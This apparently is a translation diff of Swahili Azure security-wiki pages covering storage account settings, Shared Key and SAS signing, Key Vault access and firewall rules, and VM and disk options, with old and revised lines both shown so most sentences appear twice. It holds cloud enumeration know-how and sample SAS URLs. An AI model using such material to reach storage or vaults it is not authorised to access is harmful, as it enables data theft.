- **Inaruhusu kuwezesha ufikiaji wa siri kwenye vyombo vya kibinafsi**: Ikiwa sivyo, haitakuwa na uwezo wa kuwezesha ufikiaji wa siri katika siku zijazo.
- **Wezesha ufikiaji wa funguo za akaunti ya hifadhi**: Ikiwa sivyo, ufikiaji kwa Funguo za Kushiriki utakatazwa.
- **Toleo la chini la TLS**.
- **Muktadha ulioidhinishwa kwa shughuli za nakala**: Ruhusu kutoka kwa akaunti yoyote ya hifadhi, kutoka kwa akaunti yoyote ya hifadhi kutoka kwa mpangilio mmoja wa Entra au kutoka kwa akaunti ya hifadhi yenye maeneo ya kibinafsi katika mtandao wa virtual sawa.
**Chaguzi za Hifadhi ya Blob**:
**Chaguzi za Hifadhi za Blob**:
- **Ruhusu upatanishi wa kuvuka mpangilio**
- **Kiwango cha ufikiaji**: Moto (data inayofikiwa mara kwa mara), Baridi na Baridi (data inayofikiwa mara chache)
- **Ruhusu upatanishi wa kuvuka mpangilio**.
- **Kiwango cha ufikiaji**: Moto (data inayofikiwa mara kwa mara), Baridi na Baridi (data inayofikiwa mara chache).
**Chaguzi za Mtandao**:
- **Ufikiaji wa Mtandao**:
- Ruhusu kutoka mitandao yote
- Ruhusu kutoka mitandao ya virtual iliyochaguliwa na anwani za IP
- Zima ufikiaji wa umma na tumia ufikiaji wa kibinafsi
- **Viunganishi vya Kibinafsi**: Inaruhusu muunganisho wa kibinafsi kwa akaunti ya hifadhi kutoka mtandao wa virtual
- Ruhusu kutoka mitandao yote.
- Ruhusu kutoka mitandao maalum ya virtual na anwani za IP.
- Zima ufikiaji wa umma na tumia ufikiaji wa kibinafsi.
- **Maeneo ya Kibinafsi**: Inaruhusu muunganisho wa kibinafsi kwa akaunti ya hifadhi kutoka mtandao wa virtual.
**Chaguzi za Ulinzi wa Data**:
- **Kurejesha wakati wa hatua kwa vyombo**: Inaruhusu kurejesha vyombo katika hali ya awali
- Inahitaji toleo, mabadiliko ya chakula, na kufutwa kwa blob kwa urahisi kuwezeshwe.
- **Washa kufutwa kwa urahisi kwa blobs**: Inaruhusu kipindi cha uhifadhi kwa siku kwa blobs zilizofutwa (hata zilizofutwa)
- **Washa kufutwa kwa urahisi kwa vyombo**: Inaruhusu kipindi cha uhifadhi kwa siku kwa vyombo vilivyofutwa
- **Washa kufutwa kwa urahisi kwa sehemu za faili**: Inaruhusu kipindi cha uhifadhi kwa siku kwa sehemu za faili zilizofutwa
- **Washa toleo kwa blobs**: Hifadhi toleo za awali za blobs zako
- **Washa mabadiliko ya blob**: Hifadhi kumbukumbu za kuunda, kubadilisha, na kufuta mabadiliko kwa blobs
- **Washa msaada wa kutokuweza kubadilika kwa kiwango cha toleo**: Inaruhusu kuweka sera ya uhifadhi kulingana na muda kwenye kiwango cha akaunti ambayo itatumika kwa toleo zote za blob.
- Msaada wa kutokuweza kubadilika kwa kiwango cha toleo na kurejesha wakati wa hatua kwa vyombo haiwezi kuwezeshwa kwa wakati mmoja.
- **Kurejesha kwa wakati kwa vyombo**: Inaruhusu kurejesha vyombo katika hali ya awali.
- Inahitaji toleo, mabadiliko ya chakula, na kufutwa kwa blob kwa urahisi kuwezeshe.
- **Wezesha kufutwa kwa urahisi kwa blobs**: Inaruhusu kipindi cha uhifadhi kwa siku kwa blobs zilizofutwa (hata zilizofutwa).
- **Wezesha kufutwa kwa urahisi kwa vyombo**: Inaruhusu kipindi cha uhifadhi kwa siku kwa vyombo vilivyofutwa.
- **Wezesha kufutwa kwa urahisi kwa sehemu za faili**: Inaruhusu kipindi cha uhifadhi kwa siku kwa sehemu za faili zilizofutwa.
- **Wezesha toleo kwa blobs**: Hifadhi toleo za awali za blobs zako.
- **Wezesha mabadiliko ya blob**: Hifadhi kumbukumbu za kuunda, kubadilisha, na kufuta mabadiliko kwa blobs.
- **Wezesha msaada wa kutokuweza kubadilika kwa kiwango cha toleo**: Inaruhusu kuweka sera ya uhifadhi wa muda kwenye kiwango cha akaunti ambayo itatumika kwa toleo zote za blob.
- Msaada wa kutokuweza kubadilika kwa kiwango cha toleo na kurejesha kwa wakati kwa vyombo haviwezi kuwezeshwa kwa wakati mmoja.
**Chaguzi za Usimbaji**:
**Chaguzi za Usimbuaji**:
- **Aina ya Usimbaji**: Inawezekana kutumia funguo zinazodhibitiwa na Microsoft (MMK) au funguo zinazodhibitiwa na Mteja (CMK)
- **Washa usimbaji wa miundombinu**: Inaruhusu kusimbwa mara mbili kwa data "kwa usalama zaidi"
- **Aina ya Usimbuaji**: Inawezekana kutumia funguo zinazodhibitiwa na Microsoft (MMK) au funguo zinazodhibitiwa na Mteja (CMK).
- **Wezesha usimbuaji wa miundombinu**: Inaruhusu kusimbua data mara mbili "kwa usalama zaidi".
### Viunganishi vya Hifadhi
### Maeneo ya Hifadhi
<table data-header-hidden><thead><tr><th width="197">Huduma ya Hifadhi</th><th>Kiunganishi</th></tr></thead><tbody><tr><td><strong>Hifadhi ya Blob</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Hifadhi ya Ziwa la Data</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Faili za Azure</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Hifadhi ya Foleni</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Hifadhi ya Meza</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Huduma ya Hifadhi</th><th>Maeneo</th></tr></thead><tbody><tr><td><strong>Hifadhi ya Blob</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Hifadhi ya Ziwa la Data</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Faili za Azure</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Hifadhi ya Foleni</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Hifadhi ya Meza</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Ufunuo wa Umma
Ikiwa "Ruhusu ufikiaji wa umma wa Blob" ime **wezeshwa** (imezimwa kwa default), unapounda chombo inawezekana:
Ikiwa "Ruhusu ufikiaji wa umma wa Blob" ume **wezeshwa** (imezimwa kwa default), unapounda chombo inawezekana:
- Kutoa **ufikiaji wa umma kusoma blobs** (unahitaji kujua jina).
- **Orodhesha blobs za chombo** na **zisome**.
- Fanya iwe **binafsi kabisa**
- **Orodhesha blobs za chombo** na **uzisome**.
- Kufanya iwe **binafsi kabisa**.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
@@ -77,7 +77,7 @@ Inawezekana kutumia wahusika wa Entra ID na **majukumu ya RBAC** kufikia akaunti
### Funguo za Ufikiaji
Akaunti za hifadhi zina funguo za ufikiaji ambazo zinaweza kutumika kuziaccess. Hii inatoa **ufikiaji kamili kwa akaunti ya hifadhi.**
Akaunti za hifadhi zina funguo za ufikiaji ambazo zinaweza kutumika kuziunganisha. Hii inatoa **ufikiaji kamili kwa akaunti ya hifadhi.**
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
@@ -89,7 +89,7 @@ Inawezekana [**kuunda Funguo za Kushiriki**](https://learn.microsoft.com/en-us/r
> Kumbuka kwamba sehemu ya `CanonicalizedResource` inawakilisha rasilimali ya huduma za hifadhi (URI). Na ikiwa sehemu yoyote katika URL imeandikwa, inapaswa pia kuandikwa ndani ya `CanonicalizedResource`.
> [!NOTE]
> Hii **inatumiwa kwa default na `az` cli** kuthibitisha maombi. Ili kufanya itumie akidi za wahusika wa Entra ID onyesha param `--auth-mode login`.
> Hii **inatumiwa kwa default na `az` cli** kuthibitisha maombi. Ili kufanya itumie akidi za wahusika wa Entra ID onyesha paramu `--auth-mode login`.
- Inawezekana kuunda **funguo za kushiriki kwa huduma za blob, foleni na faili** kwa kusaini taarifa zifuatazo:
```bash
@@ -130,7 +130,7 @@ CanonicalizedResource;
StringToSign = Date + "\n"
CanonicalizedResource
```
Kisha, kutumia funguo, inaweza kufanywa katika kichwa cha Uidhinishaji kufuata sintaksia:
Ili kutumia funguo, inaweza kufanywa katika kichwa cha Uidhinishaji ikifuatana na sintaksia:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -153,11 +153,11 @@ Shared Access Signatures (SAS) ni URL salama, zenye muda wa kikomo ambazo **zina
- **Service SAS**: Hii inatiwa saini kwa kutumia moja ya **access keys** za akaunti ya uhifadhi. Inaweza kutumika kutoa ufikiaji kwa rasilimali maalum katika huduma moja ya uhifadhi. Ikiwa funguo itarejelewa, SAS itakoma kufanya kazi.
- **Account SAS**: Pia inatiwa saini kwa moja ya **access keys** za akaunti ya uhifadhi. Inatoa ufikiaji kwa rasilimali katika huduma za akaunti ya uhifadhi (Blob, Queue, Table, File) na inaweza kujumuisha operesheni za kiwango cha huduma.
URL ya SAS iliyotiwa saini na **access key** inaonekana kama hii:
URL ya SAS iliyotiwa saini na **access key** inaonekana kama ifuatavyo:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
URL ya SAS iliyotiwa saini kama **user delegation** inaonekana kama hii:
URL ya SAS iliyotiwa saini kama **user delegation** inaonekana kama ifuatavyo:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
@@ -169,7 +169,7 @@ Kumbuka baadhi ya **http params**:
#### Ruhusa za SAS
Wakati wa kuzalisha SAS inahitajika kubainisha ruhusa ambazo inapaswa kutoa. Kulingana na kitu ambacho SAS inaundwa juu yake ruhusa tofauti zinaweza kujumuishwa. Kwa mfano:
Wakati wa kuzalisha SAS inahitajika kubainisha ruhusa ambazo inapaswa kutoa. Kulingana na kitu ambacho SAS inaundwa juu yake, ruhusa tofauti zinaweza kujumuishwa. Kwa mfano:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
@@ -179,16 +179,16 @@ Azure Blob Storage sasa inasaidia SSH File Transfer Protocol (SFTP), ikiruhusu u
### Vipengele Muhimu
- Msaada wa Protokali: SFTP inafanya kazi na akaunti za Blob Storage zilizowekwa na hierarchical namespace (HNS). Hii inapanua blobs katika saraka na subdirectories kwa urahisi wa urambazaji.
- Msaada wa Protokali: SFTP inafanya kazi na akaunti za Blob Storage zilizowekwa na hierarchical namespace (HNS). Hii inaratibu blobs katika saraka na subdirectories kwa urahisi wa urambazaji.
- Usalama: SFTP inatumia vitambulisho vya watumiaji wa ndani kwa uthibitisho na haijumuishi na RBAC au ABAC. Kila mtumiaji wa ndani anaweza kuthibitisha kupitia:
- Nywila zinazozalishwa na Azure
- Mifumo ya funguo za SSH za umma na binafsi
- Ruhusa za Kina: Ruhusa kama Kusoma, Kuandika, Kufuta, na Kuweka zinaweza kutolewa kwa watumiaji wa ndani kwa hadi kontena 100.
- Mambo ya Mtandao: Munganisho wa SFTP unafanywa kupitia bandari 22. Azure inasaidia usanidi wa mtandao kama vile moto, mwisho wa kibinafsi, au mitandao ya virtual ili kulinda trafiki ya SFTP.
- Mambo ya Mtandao: Munganisho wa SFTP unafanywa kupitia bandari 22. Azure inasaidia usanidi wa mtandao kama vile moto, maeneo ya kibinafsi, au mitandao ya virtual ili kulinda trafiki ya SFTP.
### Mahitaji ya Usanidi
- Hierarchical Namespace: HNS lazima iwekwe wakati wa kuunda akaunti ya uhifadhi.
- Hierarchical Namespace: HNS lazima iwe imewezeshwa wakati wa kuunda akaunti ya uhifadhi.
- Usimbuaji Unaounga Mkono: Inahitaji algorithimu za usimbuaji zilizothibitishwa na Microsoft Security Development Lifecycle (SDL) (mfano, rsa-sha2-256, ecdsa-sha2-nistp256).
- Usanidi wa SFTP:
- Wezesha SFTP kwenye akaunti ya uhifadhi.
@@ -390,7 +390,7 @@ New-AzStorageBlobSASToken `
{{#endtab }}
{{#endtabs }}
### Kushiriki Faili
### Hifadhi za Faili
{{#ref}}
az-file-shares.md

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Table Storage** ni duka la NoSQL la funguo-thamani lililoundwa kwa ajili ya kuhifadhi kiasi kikubwa cha data iliyopangwa, isiyo ya uhusiano. Inatoa upatikanaji wa juu, ucheleweshaji mdogo, na uwezo wa kupanuka ili kushughulikia seti kubwa za data kwa ufanisi. Data imepangwa katika meza, ambapo kila kitu kinatambulishwa kwa funguo za sehemu na funguo za safu, kuruhusu utafutaji wa haraka. Inasaidia vipengele kama vile usimbuaji wakati wa kupumzika, udhibiti wa ufikiaji kulingana na majukumu, na saini za ufikiaji wa pamoja kwa ajili ya uhifadhi salama na ulio na usimamizi unaofaa kwa matumizi mbalimbali.
**Azure Table Storage** ni duka la NoSQL la funguo-thamani lililoundwa kwa ajili ya kuhifadhi kiasi kikubwa cha data iliyopangwa, isiyo ya uhusiano. Inatoa upatikanaji wa juu, ucheleweshaji mdogo, na uwezo wa kupanuka ili kushughulikia seti kubwa za data kwa ufanisi. Data imeandaliwa katika meza, ambapo kila kitu kinatambulishwa kwa funguo za sehemu na funguo za safu, kuruhusu utafutaji wa haraka. Inasaidia vipengele kama vile usimbuaji wakati wa kupumzika, udhibiti wa ufikiaji kulingana na majukumu, na saini za ufikiaji wa pamoja kwa ajili ya uhifadhi salama na ulio na usimamizi unaofaa kwa matumizi mbalimbali.
Hakuna **mekanismu ya akiba iliyojengwa** kwa ajili ya uhifadhi wa meza.
@@ -13,12 +13,12 @@ Hakuna **mekanismu ya akiba iliyojengwa** kwa ajili ya uhifadhi wa meza.
#### **PartitionKey**
- **PartitionKey inakusanya vitu katika sehemu za kimantiki**. Vitu vyenye PartitionKey sawa vinahifadhiwa pamoja, ambayo inaboresha utendaji wa maswali na uwezo wa kupanuka.
- Mfano: Katika meza inayohifadhi data za wafanyakazi, `PartitionKey` inaweza kuwakilisha idara, e.g., `"HR"` au `"IT"`.
- Mfano: Katika meza inayohifadhi data za wafanyakazi, `PartitionKey` inaweza kuwakilisha idara, mfano, `"HR"` au `"IT"`.
#### **RowKey**
- **RowKey ni kitambulisho cha kipekee** kwa kitu ndani ya sehemu. Inapounganishwa na PartitionKey, inahakikisha kwamba kila kitu katika meza kina kitambulisho cha kipekee duniani.
- Mfano: Kwa sehemu ya `"HR"`, `RowKey` inaweza kuwa ID ya mfanyakazi, e.g., `"12345"`.
- Mfano: Kwa sehemu ya `"HR"`, `RowKey` inaweza kuwa kitambulisho cha mfanyakazi, mfano, `"12345"`.
#### **Other Properties (Custom Properties)**
@@ -74,7 +74,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
{{#endtabs}}
> [!NOTE]
> Kwa default `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia ruhusa za Entra ID principal tumia vigezo `--auth-mode login`.
> Kwa kawaida `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia mamlaka ya Entra ID principal tumia vigezo `--auth-mode login`.
> [!TIP]
> Tumia param `--account-key` kuashiria funguo ya akaunti inayotumika\

View File

@@ -4,7 +4,7 @@
## Basic Information
Microsoft Intune imeundwa kuboresha mchakato wa **usimamizi wa programu na vifaa**. Uwezo wake unapanuka katika anuwai tofauti ya vifaa, ikijumuisha vifaa vya mkononi, kompyuta za mezani, na maeneo halisi ya mtandao. Kazi kuu ya Intune inahusisha **kusimamia ufikiaji wa watumiaji na kurahisisha usimamizi wa programu** na vifaa ndani ya mtandao wa shirika.
Microsoft Intune imeundwa ili kuboresha mchakato wa **usimamizi wa programu na vifaa**. Uwezo wake unapanuka katika anuwai tofauti ya vifaa, ikijumuisha vifaa vya mkononi, kompyuta za mezani, na maeneo halisi ya mtandao. Kazi kuu ya Intune inahusisha **kusimamia ufikiaji wa watumiaji na kurahisisha usimamizi wa programu** na vifaa ndani ya mtandao wa shirika.
## Cloud -> On-Prem

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Key Vault** ni huduma ya wingu inayotolewa na Microsoft Azure kwa ajili ya kuhifadhi na kusimamia taarifa nyeti kama **siri, funguo, vyeti, na nywila** kwa usalama. Inafanya kazi kama hazina ya kati, ikitoa ufikiaji salama na udhibiti wa kina kwa kutumia Azure Active Directory (Azure AD). Kutoka kwa mtazamo wa usalama, Key Vault inatoa **moduli ya usalama wa vifaa (HSM)** kwa funguo za cryptographic, inahakikisha siri zimefichwa wakati wa kupumzika na wakati wa kusafirishwa, na inatoa usimamizi thabiti wa ufikiaji kupitia **udhibiti wa ufikiaji kulingana na majukumu (RBAC)** na sera. Pia ina **kumbukumbu za ukaguzi**, uunganisho na Azure Monitor kwa ajili ya kufuatilia ufikiaji, na mzunguko wa funguo wa kiotomatiki ili kupunguza hatari kutokana na kufichuliwa kwa funguo kwa muda mrefu.
**Azure Key Vault** ni huduma ya wingu inayotolewa na Microsoft Azure kwa ajili ya kuhifadhi na kusimamia taarifa nyeti kama **siri, funguo, vyeti, na nywila** kwa usalama. Inafanya kazi kama hazina ya kati, ikitoa ufikiaji salama na udhibiti wa kina kwa kutumia Azure Active Directory (Azure AD). Kutoka kwa mtazamo wa usalama, Key Vault inatoa **moduli ya usalama wa vifaa (HSM)** kwa funguo za cryptographic, inahakikisha siri zinahifadhiwa kwa usimbuaji wakati wa kupumzika na wakati wa kusafirishwa, na inatoa usimamizi thabiti wa ufikiaji kupitia **udhibiti wa ufikiaji kulingana na majukumu (RBAC)** na sera. Pia ina **kumbukumbu za ukaguzi**, uunganisho na Azure Monitor kwa ajili ya kufuatilia ufikiaji, na mzunguko wa funguo wa kiotomatiki ili kupunguza hatari kutokana na kufichuliwa kwa funguo kwa muda mrefu.
Tazama [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) kwa maelezo kamili.
@@ -14,14 +14,14 @@ Kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/genera
Ambapo:
- `vault-name` ni jina la kipekee la kimataifa la vault ya funguo
- `vault-name` ni jina la kipekee **duniani** la vault ya funguo
- `object-type` inaweza kuwa "funguo", "siri" au "vyeti"
- `object-name` ni jina la kipekee la kitu ndani ya vault ya funguo
- `object-version` inatengenezwa na mfumo na inaweza kutumika kwa hiari kutaja **toleo la kipekee la kitu**.
- `object-version` inatengenezwa na mfumo na inaweza kutumika kwa hiari kuashiria **toleo la kipekee la kitu**.
Ili kupata ufikiaji wa siri zilizohifadhiwa katika vault, inawezekana kuchagua kati ya mifano 2 ya ruhusa wakati wa kuunda vault:
- **Sera ya ufikiaji wa Vault**
- **Sera ya ufikiaji wa vault**
- **Azure RBAC** (ya kawaida na inashauriwa)
- Unaweza kupata ruhusa zote za kina zinazosaidiwa katika [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
@@ -42,7 +42,7 @@ Jukumu kama **Mchangiaji** ambalo lina ruhusa katika eneo la usimamizi kusimamia
### Network Access
Katika Azure Key Vault, sheria za **firewall** zinaweza kuwekwa ili **kuruhusu operesheni za ndege ya data tu kutoka mitandao halisi au anwani za IPv4 zilizotajwa**. Kikomo hiki pia kinaathiri ufikiaji kupitia lango la usimamizi la Azure; watumiaji hawataweza kuorodhesha funguo, siri, au vyeti katika vault ya funguo ikiwa anwani yao ya IP ya kuingia haiko ndani ya anuwai iliyoidhinishwa.
Katika Azure Key Vault, sheria za **firewall** zinaweza kuwekwa ili **kuruhusu operesheni za ndege ya data tu kutoka kwa mitandao halisi au anwani za IPv4 zilizotajwa**. Kikomo hiki pia kinaathiri ufikiaji kupitia lango la usimamizi la Azure; watumiaji hawataweza kuorodhesha funguo, siri, au vyeti katika vault ya funguo ikiwa anwani yao ya IP ya kuingia haiko ndani ya anuwai iliyoidhinishwa.
Kwa ajili ya kuchambua na kusimamia mipangilio hii, unaweza kutumia **Azure CLI**:
```bash
@@ -50,13 +50,13 @@ az keyvault show --name name-vault --query networkAcls
```
Amri ya awali itaonyesha mipangilio ya f**irewall ya `name-vault`**, ikiwa ni pamoja na anuwai za IP zilizowekwa na sera za trafiki zilizokataliwa.
Zaidi ya hayo, inawezekana kuunda **kiunganishi binafsi** kuruhusu muunganisho wa kibinafsi kwa vault.
Zaidi ya hayo, inawezekana kuunda **kiunganishi cha kibinafsi** kuruhusu muunganisho wa kibinafsi kwa vault.
### Ulinzi wa Kufuta
Wakati vault ya funguo inaundwa, idadi ya chini ya siku za kuruhusu kufutwa ni 7. Hii inamaanisha kwamba kila wakati unajaribu kufuta vault hiyo ya funguo itahitaji **angalau siku 7 kufutwa**.
Hata hivyo, inawezekana kuunda vault yenye **ulinzi wa kufuta uliozimwa** ambayo inaruhusu vault ya funguo na vitu kufutwa wakati wa kipindi cha uhifadhi. Ingawa, mara tu ulinzi huu unapowekwa kwa vault hauwezi kuzimwa.
Hata hivyo, inawezekana kuunda vault yenye **ulinzi wa kufuta usioamilishwa** ambayo inaruhusu vault ya funguo na vitu kufutwa wakati wa kipindi cha uhifadhi. Ingawa, mara ulinzi huu unapowekwa kwa vault hauwezi kuzuiliwa.
## Uhesabuji

View File

@@ -1,4 +1,4 @@
# Az - Mashine Halisi na Mtandao
# Az - Mashine za Kijijini & Mtandao
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ az-azure-network.md
## Taarifa za Msingi za VMs
Mashine Halisi za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao halisi, uhifadhi, na zana za usalama.
Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao ya virtual, uhifadhi, na zana za usalama.
### Mipangilio ya Usalama
@@ -21,15 +21,15 @@ Mashine Halisi za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazo
- **Usalama wa Kawaida**: Hii ni aina ya usalama ya msingi ambayo haitaji mipangilio maalum.
- **Uzinduzi wa Kuaminika**: Aina hii ya usalama inaboresha ulinzi dhidi ya boot kits na malware ya kiwango cha kernel kwa kutumia Secure Boot na Virtual Trusted Platform Module (vTPM).
- **VMs za Siri**: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbaji wa diski na [**zaidi**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Uthibitishaji**: Kwa kawaida, **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **neno la siri.**
- **Uthibitishaji**: Kwa kawaida **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **neno la siri.**
- **Usimbaji wa diski za VM:** Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
- Pia inawezekana kuwezesha **Usimbaji kwenye mwenyeji**, ambapo data itasimbwa kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Kikundi cha usalama wa mtandao wa NIC**:
- **Hakuna**: Kimsingi inafungua kila bandari
- **Msingi**: Inaruhusu kwa urahisi kufungua bandari za ndani HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Juu**: Chagua kikundi cha usalama
- **Nakala**: Inawezekana kuwezesha **Kawaida** nakala (moja kwa siku) na **Imara** (mara kadhaa kwa siku)
- **Chaguzi za uratibu wa patch**: Hii inaruhusu kutekeleza patch kiotomatiki katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Nakala**: Inawezekana kuwezesha **Kawaida** nakala (moja kwa siku) na **Imara** (mara nyingi kwa siku)
- **Chaguzi za uratibu wa patch**: Hii inaruhusu kiotomatiki kutekeleza patches katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Arifa**: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Kanuni za msingi:
- Asilimia ya CPU ni kubwa kuliko 80%
- Kumbukumbu Inapatikana Bytes ni chini ya 1GB
@@ -40,15 +40,15 @@ Mashine Halisi za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazo
- VmAvailabilityMetric ni chini ya 1
- **Kikaguzi cha Afya**: Kwa kawaida inakagua itifaki ya HTTP katika bandari 80
- **Locks**: Inaruhusu kufunga VM ili iweze kusomwa tu (**ReadOnly** lock) au inaweza kusomwa na kusasishwa lakini si kufutwa (**CanNotDelete** lock).
- Rasilimali nyingi zinazohusiana na VM **pia zinasaidia locks** kama diski, picha za snapshot...
- Rasilimali nyingi zinazohusiana na VM **pia zinaunga mkono locks** kama diski, picha za snapshot...
- Locks zinaweza pia kutumika katika **kikundi cha rasilimali na viwango vya usajili**
## Diski na picha za snapshot
## Diski & picha za snapshot
- Inawezekana **kuwezesha kuunganisha diski kwa VMs 2 au zaidi**
- Kwa kawaida kila diski inasimbwa **kwa funguo za jukwaa.**
- Kwa kawaida kila diski inasimbwa **na funguo ya jukwaa.**
- Vivyo hivyo katika picha za snapshot
- Kwa kawaida inawezekana **kushiriki diski kutoka mitandao yote**, lakini pia inaweza **kuzuiwa** kwa ufikiaji fulani **binafsi** au **kuzuia kabisa** ufikiaji wa umma na binafsi.
- Kwa kawaida inawezekana **kushiriki diski kutoka mitandao yote**, lakini pia inaweza **kuzuiliwa** kwa ufikiaji fulani **binafsi** au **kukatisha kabisa** ufikiaji wa umma na binafsi.
- Vivyo hivyo katika picha za snapshot
- Inawezekana **kuunda SAS URI** (ya max siku 60) ili **kuhamasisha diski**, ambayo inaweza kuundwa ili kuhitaji uthibitishaji au la
- Vivyo hivyo katika picha za snapshot
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Picha, Picha za Galeria & Pointi za Kurejesha
Picha ya **VM** ni kiolezo kinachojumuisha mfumo wa uendeshaji, mipangilio ya programu na mfumo wa faili unaohitajika ili **kuunda mashine mpya ya virtual (VM)**. Tofauti kati ya picha na snapshot ya diski ni kwamba snapshot ya diski ni nakala ya kusoma tu, ya wakati mmoja ya diski moja inayosimamiwa, inayotumika hasa kwa ajili ya akiba au kutatua matatizo, wakati picha inaweza kuwa na **diski nyingi na imeundwa kutumikia kama kiolezo cha kuunda VMs mpya**.\
Picha zinaweza kusimamiwa katika **sehemu ya Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya kuwa ya umma.
Picha zinaweza kusimamiwa katika sehemu ya **Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya kuwa ya umma.
